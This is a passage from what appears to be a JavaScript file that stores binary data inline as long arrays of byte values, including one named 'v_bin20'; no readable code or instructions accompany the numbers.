253,220,229,116,218,128,247,164,165,60,162,246,248,33,25,184,156,102,73,66,171,138,135,251,72,165,42,187,152,171,69,154,206,186,220,79,130,172,8,89,148,137,101,85,28,11,106,113,227,170,103,54,48,164,250,133,241,59,100,176,15,110,144,196,79,78,214,161,251,187,216,116,25,2,84,172,27,0,252,97,115,32,223,58,62,179,241,111,81,200,148,178,52,186,179,126,88,25,157,180,243,22,164,84,169,212,161,58,26,22,93,98,252,26,146,38,128,152,16,227,107,235,64,118,109,247,168,77,75,187,73,254,82,57,252,39,180,209,166,128,2,153,52,237,185,242,121,239,205,157,125,89,148,122,177,153,77,168,168,178,235,129,71,61,109,172,6];
var v_bin20 = [190,139,62,151,31,236,95,57,253,211,166,237,244,87,146,187,122,20,246,224,2,139,27,114,46,96,228,153,199,90,188,73,114,130,28,29,188,54,75,96,99,145,55,187,12,9,58,123,62,21,210,17,237,11,140,168,215,254,26,163,152,27,224,87,195,76,115,220,44,229,189,94,157,142,126,239,58,181,246,76,134,180,50,141,175,241,226,109,72,203,140,85,242,180,34,247,248,100,5,95,221,250,93,120,81,28,138,158,36,16,62,91,193,70,43,183,124,250,0,1,175,196,79,65,233,182,38,119,16,228,184,250,225,89,63,240,181,182,51,213,112,176,93,36,231,73,117,182,189,63,171,52,130,192,128,226,198,56,78,175,223,187,2,120,69,229,159,21,204,204,158,188,130,179,41,252,82,246,219,172,73,94,187,77,195,141,204,220,83,44,24,211,105,151,4,185,118,38,216,168,17,83,7,43,212,227,109,29,182,70,215,90,108,33,68,5,27,75,37,88,92,214,18,139,7,5,108,226,97,231,93,219,248,169,52,163,9,230,120,8,145,21,37,136,44,176,13,205,122,84,150,72,43,154,103,4,244,80,131,154,170,174,146,56,107,222,147,116,169,245,38,79,159,114,11,90,226,150,122,122,157,113,230,169,97,242,153,96,95,229,7,197,131,91,182,156,186,230,34,59,211,4,24,130,173,12,121,30,102,42,116,14,159,51,23,147,209,163,221,80,111,221,198,22,218,174,37,3,139,27,119,8,239,58,36,208,156,115,159,13,27,38,54,206,234,159,217,22,135,163,193,55,197,46,103,196,23,177,114,244,41,62,53,160,254,40,69,128,167,61,76,94,18,31,244,114,60,210,24,201,102,173,102,165,222,141,163,46,218,241,70,40,78,98,99,159,191,11,30,134,45,31,207,180,178,24,182,181,166,142,57,23,41,55,167,125,158,82,214,31,151,108,163,199,167,64,15,144,49,13,98,214,39,36,187,36,97,148,78,11,95,233,104,58,50,78,97,138,138,83,197,142,145,23,26,10,53,126,229,11,80,126,112,19,117,8,224,91,243,67,17,171,20,193,178,227,247,84,83,96,186,133,2,250,198,72,17,149,218,122,161,188,139,150,122,229,28,106,141,173,134,49,2,122,235,57,83,248,131,32,119,194,139,235,110,176,143,243,182,246,158,230,115,19,170,185,34,97,106,143,237,235,245,106,47,84,242,105,233,245,218,72,9,57,30,80,157,112,193,171,50,246,249,254,135,74,205,110,107,191,199,222,236,79,8,100,199,137,22,93,55,175,29,39,74,85,248,80,134,120,171,241,73,202,218,148,221,193,183,173,242,202,94,197,146,51,188,228,176,10,91,79,202,10,175,128,173,175,219,118,82,141,174,107,162,9,138,32,134,87,61,148,134,62,93,45,187,242,35,9,166,166,135,64,79,59,77,85,41,32,179,48,4,98,252,207,34,172,149,188,195,223,148,94,155,254,36,50,222,128,85,127,176,105,63,40,16,128,34,213,71,11,214,32,65,126,195,143,220,167,75,161,231,109,87,100,119,83,19,175,101,82,154,3,128,8,7,184,63,223,186,25,39,166,149,50,108,78,158,152,20,75,179,129,158,249,227,190,79,63,81,177,29,66,137,171,154,31,7,235,67,110,217,52,115,187,167,56,23,241,22,41,222,178,137,148,90,225,199,226,100,225,178,109,55,107,235,156,114,41,100,60,19,139,124,190,255,167,130,254,53,62,45,225,159,19,238,212,203,108,236,54,135,140,176,19,34,162,51,181,228,47,26,176,242,166,43,162,167,179,111,23,26,26,41,140,8,221,93,184,97,118,185,250,142,105,15,59,9,118,223,208,111,65,92,186,71,144,182,10,208,124,16,230,148,207,9,7,148,239,38,202,206,145,93,23,193,128,253,93,28,139,180,152,32,40,71,166,220,235,15,128,135,7,31,115,238,49,97,208,43,91,8,38,30,248,141,244,93,143,166,247,99,249,50,140,10,103,154,180,94,17,172,114,212,248,226,90,208,12,36,159,59,144,184,24,102,64,8,86,151,180,113,130,129,225,4,227,59,249,60,101,7,104,103,214,227,43,75,104,115,40,5,132,208,171,79,159,127,145,48,48,64,193,156,230,52,239,237,162,0,92,96,89,155,143,218,88,129,114,140,234,44,64,137,185,84,239,183,171,95,128,213,93,255,29,191,210,165,73,194,31,73,12,82,204,136,109,148,179,69,211,226,28,152,153,35,247,64,120,157,135,225,201,49,134,149,50,155,41,99,35,220,214,196,159,57,226,170,250,81,106,177,79,92,18,40,204,251,243,185,159,76,162,5,105,4,200,66,78,149,74,172,199,251,251,249,64,254,143,47,236,254,148,124,143,51,248,0,43,119,104,213,40,163,214,206,208,222,209,160,21,231,128,116,93,243,58,48,247,90,59,197,30,136,205,55,233,136,200,75,19,232,27,219,147,186,138,208,31,201,72,87,70,209,4,117,91,238,150,75,140,179,199,164,39,254,84,131,176,84,106,149,123,102,183,36,179,13,85,103,6,101,7,20,18,133,130,64,86,186,73,66,155,137,66,85,87,136,110,240,93,46,137,22,126,255,178,26,141,231,3,3,56,183,173,20,53,29,166,126,128,61,245,132,209,40,104,251,30,93,151,202,254,168,3,224,197,66,107,199,200,36,253,175,112,64,191,131,155,172,246,10,134,16,57,22,206,10,55,172,143,14,39,109,5,210,102,135,34,194,148,217,171,103,106,43,72,12,132,225,39,71,146,72,139,168,208,224,222,213,4,12,90,231,10,244,77,78,253,187,245,107,130,124,76,60,67,8,147,92,208,214,229,119,206,19,163,34,67,196,255,18,113,40,18,248,68,28,173,232,252,119,6,120,156,219,163,93,96,203,183,93,96,63,188,143,62,43,25,44,34,247,37,149,128,103,180,165,5,158,2,155,88,77,186,107,62,137,229,126,153,161,197,210,181,170,138,125,148,17,233,161,152,133,143,125,240,233,113,54,200,27,216,184,54,137,110,114,9,45,155,79,92,24,107,99,66,56,142,147,198,6,27,93,60,119,42,87,231,119,172,228,138,37,209,212,177,55,175,87,58,170,84,120,71,228,231,85,32,164,173,18,149,213,156,78,129,35,131,229,185,71,98,32,221,123,213,99,108,27,10,34,105,36,161,39,39,187,159,3,95,78,25,192,44,200,141,249,150,73,24,251,14,106,246,138,99,131,243,30,120,59,30,250,74,49,13,79,8,231,188,202,186,68,13,89,173,118,185,181,255,193,153,51,74,111,169,240,40,112,5,37,6,93,0,169,2,156,254,6,207,241,48,59,72,50,251,38,198,7,51,242,27,112,82,65,65,54,226,56,221,66,242,252,205,151,32,19,163,39,207,77,101,113,105,158,251,147,171,199,44,19,66,90,195,132,213,29,175,55,244,40,47,241,141,219,115,18,76,184,91,21,24,210,25,168,111,142,181,253,248,36,68,165,251,153,144,221,144,16,209,191,167,200,0,121,6,173,197,106,147,228,104,148,125,104,169,222,223,2,162,66,36,50,5,153,80,228,212,205,83,65,82,38,195,155,226,210,180,92,192,182,236,54,64,253,0,37,88,222,100,154,83,55,30,149,161,132,202,186,69,54,196,194,224,132,137,86,251,130,148,31,32,74,126,188,42,47,63,24,57,156,201,56,156,170,182,185,252,198,165,100,49,182,243,49,113,107,198,237,248,49,156,206,38,168,92,138,80,181,235,194,0,148,40,5,105,82,120,89,75,91,60,134,90,182,143,35,189,83,86,153,179,28,0,153,82,73,192,118,143,217,161,144,169,81,76,205,116,221,14,92,154,255,91,42,203,82,57,192,224,165,40,82,99,198,75,223,108,81,40,169,181,104,34,109,55,167,96,246,186,2,255,155,133,66,0,21,249,157,23,53,179,232,13,150,247,19,232,235,33,202,129,105,104,72,46,64,243,37,42,198,205,198,54,166,157,199,132,207,31,117,228,171,140,100,29,86,56,87,137,183,113,19,64,102,77,94,177,62,227,25,201,144,75,248,161,249,96,47,26,73,206,165,242,197,244,225,98,207,225,194,41,35,123,139,9,63,233,235,66,80,49,241,11,129,30,244,21,255,158,216,233,111,47,29,223,215,23,205,64,82,10,99,105,183,174,176,244,213,249,148,123,156,186,172,166,9,34,3,22,33,6,156,100,138,125,133,168,161,157,154,138,103,206,31,255,109,163,111,182,75,69,55,122,151,167,180,210,160,141,5,184,30,208,54,164,21,25,132,169,108,187,73,34,160,205,201,71,113,130,108,213,40,240,190,179,25,167,37,89,162,99,187,240,86,28,55,83,204,167,188,219,0,96,23,221,193,104,200,111,205,189,229,134,188,16,53,20,13,46,254,157,195,111,16,146,1,49,123,242,32,51,105,229,234,78,6,38,181,218,233,254,71,216,85,95,52,153,189,155,57,113,112,54,71,196,67,93,148,138,76,6,76,219,181,108,208,170,250,143,95,231,12,13,123,165,190,171,139,80,235,42,255,240,87,48,210,188,61,252,62,101,185,109,156,11,141,10,5,15,44,158,227,76,111,112,9,42,225,96,220,84,176,69,250,61,102,171,134,122,34,129,148,194,9,68,186,218,17,189,122,212,252,209,76,96,200,229,124,115,1,52,50,224,126,204,19,246,83,87,248,115,239,57,51,62,11,81,174,22,103,82,226,249,199,110,139,166,228,172,197,214,239,204,98,242,29,108,112,94,104,111,126,37,71,124,120,238,249,159,241,223,188,138,88,196,232,78,199,238,217,58,155,128,239,57,15,148,46,9,130,210,99,220,122,25,155,31,240,91,132,63,126,115,59,113,61,230,220,152,16,214,156,139,24,91,110,98,44,131,134,144,58,21,61,238,82,96,234,57,38,189,239,75,168,163,148,172,191,149,222,165,61,50,226,26,104,37,253,20,31,116,34,171,221,81,245,38,10,174,220,161,135,12,134,45,194,7,180,96,13,74,44,218,125,251,238,22,0,156,253,129,86,95,53,198,33,234,243,173,159,0,104,162,54,87,165,22,177,33,49,83,247,68,179,152,49,238,123,31,156,105,23,249,2,186,161,173,25,100,63,50,157,142,185,252,29,254,187,113,36,70,44,86,236,136,47,173,192,186,251,86,183,141,9,65,19,155,209,177,219,250,13,76,227,84,9,83,48,228,241,255,242,220,251,252,200,15,151,203,121,4,223,226,101,63,52,238,92,171,211,97,204,115,19,32,187,135,182,158,52,1,200,80,122,208,135,106,20,135,159,229,7,130,79,98,234,159,190,49,20,25,121,154,51,133,6,74,43,13,178,25,191,3,151,44,129,177,221,143,104,12,40,38,3,162,92,67,74,151,86,144,110,123,241,30,21,118,18,91,22,87,138,0,125,97,45,95,82,148,14,248,156,242,177,71,9,210,114,44,81,249,214,227,113,63,194,20,115,84,209,5,98,101,137,12,165,66,168,221,118,61,101,199,151,122,184,38,80,86,224,238,141,118,138,165,216,167,108,180,197,38,67,141,189,244,249,92,186,105,139,248,32,209,204,228,176,12,220,70,248,169,208,232,185,98,96,63,15,131,195,139,99,185,52,160,109,153,3,189,125,73,119,54,43,62,167,119,201,95,3,0,249,210,205,241,130,86,70,128,21,37,172,140,167,107,114,154,130,235,17,44,82,166,207,226,120,52,221,137,131,92,251,198,12,197,124,226,213,183,166,46,253,123,114,74,1,145,86,212,212,102,122,198,233,92,232,90,67,163,112,178,213,222,112,101,213,136,224,20,86,253,224,99,44,212,240,45,36,139,0,255,211,240,81,195,21,13,184,191,251,255,15,144,223,35,137,247,1,85,233,184,233,53,100,209,182,220,110,169,174,53,132,216,35,12,101,66,96,58,212,54,226,155,218,224,28,4,161,132,103,12,149,23,92,31,219,66,31,69,68,101,250,19,66,53,53,118,162,31,252,201,71,129,77,211,11,90,219,22,61,56,68,194,31,107,64,12,195,139,73,93,237,221,9,207,233,215,127,252,138,178,252,12,254,178,11,245,48,194,237,74,1,176,181,103,113,14,230,110,211,216,13,147,208,56,2,28,185,103,213,255,254,37,99,28,211,106,107,197,206,98,105,184,173,64,15,222,36,189,148,104,126,207,218,182,33,204,224,16,230,225,151,251,86,4,51,80,103,228,103,222,121,210,7,245,90,159,10,10,46,74,100,2,57,250,117,130,216,197,214,244,134,117,189,50,209,221,55,106,78,2,36,71,119,141,168,75,187,40,75,36,160,158,46,207,54,135,182,220,19,60,11,31,123,40,105,141,235,135,134,66,123,63,131,197,119,142,79,1,163,251,244,217,204,84,70,58,75,4,168,18,184,254,141,152,50,229,190,95,93,150,40,71,136,60,91,163,70,10,95,85,25,116,106,15,153,182,250,163,245,43,83,165,77,137,153,238,59,199,244,14,36,156,65,42,103,195,175,229,233,127,230,11,31,27,115,177,204,254,133,19,138,124,166,167,60,43,33,106,88,214,58,224,118,165,201,205,177,37,204,87,140,247,101,41,138,39,206,123,48,136,243,120,196,106,63,14,59,143,182,191,223,205,42,82,211,227,188,184,143,85,78,50,54,67,225,192,179,178,202,101,167,84,37,245,16,0,185,16,85,15,230,120,7,225,82,26,102,178,26,1,153,100,189,223,30,129,19,29,203,90,194,111,151,117,245,155,219,129,176,95,5,157,58,45,53,138,197,231,207,42,1,107,238,238,27,5,114,253,144,138,217,183,95,197,5,109,129,221,177,234,90,131,172,72,254,202,159,88,138,84,134,219,15,177,49,123,247,236,229,213,52,165,211,251,93,64,200,18,218,153,118,135,72,98,129,8,197,164,254,127,35,88,178,44,240,114,188,46,16,192,241,111,30,170,157,85,128,149,8,52,99,91,24,23,193,198,56,252,119,254,183,126,180,86,51,135,22,225,21,241,109,86,1,220,38,142,133,146,50,192,179,37,66,14,247,201,111,236,91,247,207,164,211,15,76,178,36,101,84,37,156,204,208,183,135,224,206,251,204,129,103,112,249,26,106,201,4,186,88,2,236,15,108,164,136,152,187,238,43,52,76,212,238,226,83,61,85,174,38,72,178,137,159,243,66,253,127,113,18,220,150,84,202,74,170,157,76,35,27,51,219,39,73,89,230,174,161,63,27,186,235,213,251,23,195,81,66,147,21,182,152,163,128,44,195,15,164,45,237,43,218,186,239,20,238,43,118,132,102,71,157,120,148,111,36,31,57,255,254,230,63,240,60,230,254,101,80,10,240,214,212,137,206,101,34,32,39,73,40,121,186,51,28,82,139,94,224,93,61,41,98,247,203,105,113,10,205,8,3,237,201,179,127,203,207,59,52,6,38,235,86,19,242,86,59,166,117,177,31,137,101,83,43,243,112,87,196,252,113,192,234,253,43,246,245,151,154,111,172,142,13,16,246,221,54,133,162,146,156,201,215,190,119,85,21,198,96,143,144,65,131,201,249,135,220,144,126,219,100,158,112,23,99,52,111,177,100,62,139,217,93,250,243,124,136,54,90,245,97,91,148,94,36,14,83,248,143,118,169,189,210,65,246,44,136,44,16,167,204,126,113,122,229,235,228,23,241,78,234,105,208,115,2,239,22,91,101,9,28,9,117,203,251,147,221,135,255,244,25,29,39,230,73,221,21,64,204,133,180,139,179,8,64,68,252,84,119,21,212,235,27,122,87,25,2,34,244,224,97,75,251,25,51,0,183,1,212,68,51,235,60,91,241,166,57,149,65,1,51,108,87,175,132,231,138,96,150,95,174,204,141,207,230,88,10,226,178,220,125,190,161,78,2,74,160,206,124,114,76,180,44,164,98,98,157,108,128,23,22,157,153,112,176,31,159,175,51,198,82,175,186,201,229,3,242,67,127,217,128,181,75,162,35,33,132,208,128,16,130,161,9,46,68,244,209,13,137,121,24,142,129,94,207,130,154,158,20,102,223,13,239,194,85,174,78,54,62,151,186,213,239,182,99,19,243,115,252,181,125,20,13,78,149,75,52,116,171,57,155,129,128,200,106,19,196,48,54,151,184,225,193,254,179,62,153,189,149,109,98,171,165,36,58,17,201,16,159,108,37,206,71,176,224,99,69,51,136,227,132,66,155,119,248,62,102,45,152,177,251,226,9,153,242,179,3,178,223,50,128,59,66,2,35,221,60,225,187,14,86,161,29,152,56,95,105,167,207,84,212,203,221,130,247,50,30,184,149,43,209,130,173,115,194,213,20,58,247,182,20,199,177,186,118,118,162,77,214,229,16,72,10,43,187,110,219,237,222,235,141,37,54,121,219,179,178,199,119,186,86,53,6,168,208,100,232,64,253,2,180,115,49,48,41,40,191,40,214,136,26,44,143,181,226,153,243,160,229,116,56,41,46,11,60,228,200,105,233,101,201,12,16,196,179,174,7,135,198,57,19,0,185,52,243,84,179,146,152,40,253,156,129,253,47,97,38,61,224,215,121,48,33,231,13,186,190,198,134,4,64,197,119,154,34,56,11,149,75,203,103,60,24,8,180,127,177,113,110,97,237,15,13,183,149,241,36,141,212,14,168,93,217,200,194,105,69,90,101,232,72,121,141,186,108,171,7,138,65,213,254,83,229,17,216,240,19,217,54,17,71,100,125,104,160,67,247,81,119,247,52,204,247,56,41,11,225,182,191,124,0,120,46,247,226,180,215,209,34,95,137,207,251,212,182,91,85,6,233,53,129,106,59,89,20,79,168,38,130,60,115,195,177,188,227,154,50,32,254,82,8,29,187,17,204,81,61,17,181,105,250,66,9,26,194,125,138,63,222,217,104,20,58,205,152,23,145,37,145,33,126,15,193,41,2,171,208,196,58,105,150,175,229,134,75,191,189,159,179,62,0,207,12,24,12,1,152,20,121,14,99,166,52,174,66,175,106,158,121,248,236,102,102,18,227,206,35,20,240,219,44,159,199,211,107,132,65,4,89,149,22,142,174,254,93,250,210,98,60,154,252,66,32,183,191,69,240,126,233,21,114,107,180,72,250,125,18,249,190,145,7,62,72,250,151,186,22,124,95,51,47,246,241,223,116,25,100,55,45,90,198,77,207,116,245,45,253,7,127,183,37,80,188,99,42,26,244,197,213,194,161,142,249,120,13,132,241,13,247,36,37,155,156,82,235,37,112,34,215,158,178,53,161,88,222,100,154,116,97,7,62,44,20,163,45,165,57,42,158,126,216,148,210,86,251,197,192,187,98,246,83,213,96,47,117,112,67,56,247,151,93,207,185,127,214,71,176,213,92,25,145,77,185,13,54,177,81,68,87,91,210,41,56,90,230,7,41,189,65,82,187,5,205,222,17,44,94,160,153,179,28,60,70,210,112,95,139,117,57,38,245,77,155,77,13,105,98,190,97,116,46,56,205,246,150,132,13,74,48,40,21,74,223,251,109,46,146,110,108,59,134,157,162,63,5,209,120,79,172,111,61,234,15,193,248,23,153,138,155,135,114,201,27,123,89,222,3,159,175,112,160,3,129,235,101,242,136,31,13,176,6,39,102,11,74,220,249,69,138,135,207,97,232,168,159,216,110,60,45,38,46,76,161,238,0,194,59,10,33,179,90,170,182,32,227,118,65,197,58,0,12,162,251,117,188,57,202,192,198,218,54,28,14,122,248,64,118,236,98,3,139,92,5,232,165,106,21,252,47,27,41,239,147,9,234,13,150,179,199,225,194,16,189,32,73,54,219,168,215,81,218,134,216,186,87,104,192,189,137,169,193,160,156,93,105,191,54,44,23,189,58,243,195,210,132,38,84,15,98,44,114,73,251,90,103,186,48,52,138,97,153,246,156,67,247,36,113,126,190,56,127,245,177,139,194,206,172,215,63,100,97,185,54,77,226,254,59,227,252,72,212,135,194,120,212,174,59,232,22,241,169,193,21,131,151,219,75,192,36,181,251,94,199,245,187,146,16,123,109,200,148,178,73,206,209,2,144,100,229,118,58,65,16,148,128,108,17,56,155,169,147,204,2,209,100,99,245,23,217,217,237,4,150,86,135,18,91,83,194,6,212,18,165,232,95,38,114,157,77,225,193,201,251,111,220,55,99,117,37,86,196,71,60,126,112,76,171,243,91,164,214,151,212,165,6,138,132,148,38,183,21,28,148,213,195,186,191,193,28,208,243,3,98,168,172,66,216,122,208,249,7,141,148,211,239,101,58,231,200,79,213,204,224,118,131,250,110,128,233,28,184,94,86,142,129,83,230,138,113,117,254,252,123,134,54,8,45,205,124,243,126,42,6,241,176,152,129,111,138,251,78,95,150,62,193,234,216,85,146,83,108,112,252,40,89,189,3,101,49,191,197,39,20,131,118,255,8,255,82,108,209,253,151,70,162,55,247,161,239,39,145,29,20,194,9,20,57,82,78,175,149,149,122,75,214,110,132,74,75,37,22,122,20,227,126,52,255,224,50,47,239,162,155,105,190,200,249,170,155,190,36,181,16,9,115,230,84,160,154,186,32,35,237,85,182,167,150,120,94,70,122,85,205,252,78,143,150,14,228,74,143,91,87,24,39,117,123,167,46,241,3,232,204,62,157,62,249,242,75,84,52,41,5,248,188,22,217,41,117,253,231,162,253,189,72,252,50,165,213,26,98,0,153,2,64,74,209,215,167,88,73,140,181,36,85,3,95,57,127,89,14,108,242,253,58,165,54,204,195,193,237,36,214,47,215,231,215,33,45,243,86,240,234,7,59,231,77,204,235,62,183,55,231,251,243,197,139,79,90,208,179,80,218,38,153,185,109,88,74,4,29,8,227,69,181,86,186,7,222,194,151,216,193,225,218,37,139,155,29,50,114,170,79,153,214,53,59,129,100,111,254,39,87,6,167,136,74,61,147,0,248,145,110,48,68,240,173,79,97,1,103,225,196,92,217,225,202,188,17,139,208,115,207,62,120,220,57,168,59,54,20,105,143,170,132,24,196,196,232,86,45,165,143,28,225,97,1,18,4,2,55,127,18,34,76,33,135,34,187,45,173,58,221,182,164,110,102,43,182,95,196,158,2,120,127,76,147,132,60,31,117,232,16,58,73,175,132,90,139,100,161,190,218,148,218,4,170,136,21,66,179,0,215,231,126,186,60,0,28,162,72,75,29,223,68,96,54,177,194,231,95,203,195,78,26,218,132,144,93,212,157,210,231,72,56,170,182,134,224,134,179,142,65,179,109,130,152,132,102,82,2,133,28,150,73,152,191,122,44,108,156,94,230,148,124,39,248,21,141,144,38,82,107,60,93,197,202,28,36,101,40,253,96,221,248,14,51,234,68,68,185,77,93,199,161,27,97,27,120,133,176,185,34,66,37,182,235,86,216,122,72,14,248,200,226,155,2,126,83,202,107,248,12,214,65,10,180,215,185,242,154,179,196,49,36,242,73,215,170,144,21,8,219,57,96,171,124,228,159,237,17,224,9,78,182,137,19,161,42,220,145,55,16,205,72,79,251,40,248,86,164,55,192,161,215,170,31,75,126,245,5,202,246,218,40,187,29,26,0,176,191,243,80,211,235,108,6,198,131,239,107,43,148,67,45,56,78,232,146,38,33,212,41,166,235,146,94,202,40,208,228,155,135,94,246,120,46,37,19,53,15,6,113,62,209,198,0,52,58,89,123,181,111,51,183,26,225,46,174,90,123,156,239,43,45,75,81,161,59,134,65,225,111,94,52,74,92,109,88,122,186,50,237,66,146,113,19,35,148,1,151,66,28,237,122,146,46,224,182,221,212,223,2,70,24,59,119,81,4,31,141,100,208,24,235,234,31,19,121,123,85,173,71,179,51,133,103,155,142,34,170,44,46,112,229,50,197,237,19,163,173,30,253,204,39,64,193,31,8,94,32,175,20,188,59,232,201,246,211,12,21,91,56,155,2,83,233,26,192,198,111,243,19,114,27,132,66,228,245,149,175,232,54,236,23,142,98,224,57,54,222,192,96,160,119,234,240,253,27,207,207,116,252,83,54,204,82,180,234,16,220,148,57,7,134,242,48,207,32,81,247,3,95,57,37,176,209,97,217,118,248,115,221,28,94,46,106,119,212,79,73,205,249,194,186,179,184,215,130,159,33,214,104,37,62,214,49,119,189,190,233,131,177,53,4,73,170,238,96,234,0,26,166,81,9,209,196,21,160,234,123,39,129,64,154,4,104,208,62,4,240,81,42,182,45,117,8,252,105,76,20,8,177,250,196,102,175,233,151,100,160,30,181,66,94,61,119,174,33,111,195,201,146,178,190,187,194,113,86,191,183,29,241,153,170,84,150,48,68,250,44,47,99,135,138,112,181,21,108,127,144,12,169,21,7,61,40,147,57,21,164,165,21,179,182,113,44,123,111,59,181,26,15,7,191,48,230,35,115,56,185,34,112,27,149,159,41,163,63,144,58,228,249,119,41,148,241,96,186,209,43,222,148,169,54,227,104,164,83,205,126,67,66,89,180,133,6,40,133,81,7,138,121,6,26,83,250,28,184,82,11,207,187,251,138,21,50,210,101,240,153,234,200,3,65,73,164,168,115,146,208,134,130,242,93,244,74,10,205,177,241,65,220,218,226,210,201,115,148,11,48,158,180,88,242,156,7,90,203,139,168,185,78,104,153,143,22,200,231,187,173,77,235,136,127,228,217,250,60,230,46,153,234,195,208,235,230,71,124,226,128,224,160,123,252,98,122,34,224,204,86,89,123,47,255,207,6,33,249,206,47,80,71,74,26,208,60,47,143,200,34,85,251,101,158,242,214,143,73,85,39,110,135,66,160,102,155,249,219,3,23,149,184,96,33,93,225,190,140,33,145,117,71,153,250,183,58,240,32,115,227,106,173,24,32,96,76,19,203,179,141,123,233,40,27,194,190,101,175,129,108,142,11,72,61,119,107,222,233,130,85,6,198,204,25,51,122,146,163,116,105,134,20,127,46,251,44,220,235,249,37,216,44,227,42,77,61,55,219,95,22,123,176,240,209,213,174,168,147,201,61,115,16,56,214,71,224,229,127,48,243,101,89,111,30,139,226,161,129,188,48,8,67,25,30,85,39,227,199,57,228,78,182,23,94,2,119,226,209,235,187,210,116,204,171,149,221,134,54,55,246,238,116,133,2,96,116,75,67,225,255,26,60,39,27,69,196,14,31,25,191,23,4,165,232,247,89,129,212,214,50,47,160,140,21,101,225,50,4,114,200,122,208,87,113,122,250,142,248,101,142,248,92,117,46,32,89,2,235,67,80,186,146,164,47,120,206,245,80,249,49,6,159,25,226,153,140,239,188,65,237,120,250,196,157,133,198,169,13,180,186,13,134,248,201,189,162,33,234,114,236,249,173,171,108,26,29,217,220,174,94,21,239,160,204,254,67,207,233,105,8,59,171,130,150,210,225,93,153,161,96,55,153,229,84,179,194,122,169,92,222,131,219,101,228,171,221,30,206,195,19,56,136,62,34,230,105,64,106,123,115,218,248,159,44,232,161,77,98,93,77,213,235,126,141,65,131,225,11,76,97,63,49,164,166,153,209,162,133,107,214,47,83,134,147,67,208,125,143,0,82,227,237,74,199,119,105,19,133,20,175,3,50,22,178,215,85,146,123,189,58,6,33,7,182,240,237,137,74,30,90,224,170,204,230,72,39,222,57,153,124,135,144,145,86,238,24,19,64,80,18,200,165,218,11,43,230,133,175,219,4,146,229,155,237,4,54,22,216,217,254,110,52,59,221,150,184,163,196,244,112,89,15,47,48,155,237,152,51,216,196,154,215,219,38,204,73,125,180,90,217,140,194,243,110,218,68,53,93,115,114,63,240,113,197,91,189,178,65,203,23,226,232,219,98,131,61,211,145,156,183,163,199,241,99,201,91,102,109,19,197,69,158,199,200,77,181,158,248,166,191,155,144,196,232,53,93,219,92,36,36,125,112,113,249,7,75,14,198,255,140,231,97,98,213,175,23,70,81,98,132,78,6,155,157,155,150,43,246,161,99,254,2,108,0,6,116,154,131,155,47,88,63,6,16,182,218,181,38,108,72,221,59,183,102,250,65,192,202,196,247,64,231,17,74,207,163,177,59,126,135,224,93,1,202,247,251,34,73,171,207,231,50,48,76,118,151,173,163,50,82,222,143,148,109,66,194,53,251,169,149,214,112,188,239,227,149,61,59,252,225,81,3,158,247,204,125,217,143,128,20,128,129,117,189,163,213,19,111,110,48,65,227,77,41,238,27,243,40,199,85,143,148,229,214,26,162,190,0,29,74,61,99,91,90,247,99,246,11,15,179,202,243,206,231,177,188,148,247,152,83,10,186,245,74,11,178,58,157,239,46,94,60,242,29,225,239,187,171,226,215,106,10,24,148,218,163,11,223,151,203,211,226,173,57,179,80,245,15,147,84,85,15,149,35,28,61,93,198,82,146,197,234,168,87,146,57,160,167,211,6,195,228,253,47,15,229,159,187,197,58,8,105,43,156,83,171,63,73,180,25,23,31,69,150,124,8,48,239,135,238,250,136,101,110,192,77,99,3,25,123,46,91,0,130,180,44,219,116,89,201,201,18,158,110,172,128,125,85,134,160,88,111,37,231,108,82,172,117,239,0,80,129,231,2,241,154,49,43,193,116,185,110,180,150,209,237,68,233,221,133,200,109,5,20,186,88,121,93,6,187,28,1,189,92,12,139,126,43,185,146,207,115,63,112,149,64,173,135,206,173,50,27,97,49,174,233,186,51,84,116,251,3,234,240,60,223,0,194,114,71,245,215,73,148,173,16,223,254,81,120,147,113,7,97,67,252,239,216,248,41,251,176,47,177,136,199,112,197,196,14,84,69,82,88,79,29,119,199,117,161,135,56,85,78,208,254,42,27,252,72,33,184,218,44,216,50,52,91,213,103,239,84,161,44,87,72,150,158,95,22,108,215,216,221,119,169,99,194,0,77,91,84,117,123,214,74,157,2,243,48,127,121,60,123,153,173,245,197,5,112,249,244,214,5,45,161,235,128,170,226,251,200,17,94,140,232,117,89,17,84,56,114,51,184,42,172,3,134,150,138,39,192,166,204,10,169,246,220,5,91,46,185,67,249,32,37,40,31,177,210,53,41,44,164,50,7,68,82,83,26,140,102,254,228,32,84,118,254,100,126,248,13,117,111,2,148,173,80,161,185,214,158,137,143,110,71,230,201,26,190,38,132,133,229,100,134,219,230,165,20,116,175,107,57,238,250,253,165,151,124,1,4,211,145,13,122,8,220,192,35,183,181,133,193,160,141,173,30,4,67,135,158,64,183,4,69,128,88,201,10,112,145,229,125,129,92,242,60,161,58,219,24,108,134,148,11,210,234,91,5,45,18,99,148,105,231,71,6,80,157,243,161,2,32,202,149,140,42,62,111,169,145,115,107,238,115,204,4,125,10,212,34,210,159,17,185,24,217,237,30,139,171,17,44,113,38,76,244,218,31,190,148,88,154,218,35,76,151,187,212,97,121,62,163,238,68,223,201,173,121,67,83,240,61,80,110,156,223,60,254,134,159,50,105,73,208,22,157,191,35,31,219,227,149,95,21,198,38,207,129,153,1,249,245,218,25,80,75,24,248,139,84,176,188,220,104,33,76,37,19,95,5,187,224,129,160,224,46,178,93,255,0,242,26,233,31,135,95,71,169,233,63,23,146,214,101,125,69,139,72,252,121,76,147,122,255,3,216,51,12,0,169,143,147,44,6,209,193,61,121,38,42,215,11,92,221,249,225,49,207,178,51,176,40,22,209,237,145,1,121,23,122,55,79,42,174,208,168,46,89,182,38,143,104,118,148,43,23,130,158,75,20,61,19,113,156,111,12,101,201,205,22,220,107,165,206,61,119,41,128,38,195,83,134,160,212,172,218,204,145,149,233,96,173,61,237,111,223,7,141,220,12,122,148,33,21,183,105,33,166,22,21,159,202,31,58,74,128,58,138,42,96,205,95,224,127,189,55,16,223,186,163,241,209,88,192,247,189,227,221,136,49,145,79,107,244,38,119,178,136,150,239,169,184,225,227,158,31,115,115,105,177,103,0,178,229,10,134,135,203,242,16,18,22,194,125,48,31,129,229,89,22,220,197,109,170,189,18,180,251,243,14,252,151,67,163,237,45,0,79,20,224,32,24,68,69,240,194,136,165,62,217,21,204,237,46,182,210,148,64,164,189,142,82,6,29,20,100,45,31,64,255,60,34,213,254,137,208,12,97,15,232,214,2,18,119,208,171,91,193,169,62,159,212,208,201,137,206,250,219,20,238,253,97,222,143,5,141,253,51,199,8,21,88,96,216,145,113,77,187,128,242,31,153,121,99,72,246,17,48,103,224,43,249,194,177,2,236,45,37,48,87,58,10,131,217,53,85,235,198,239,230,229,69,133,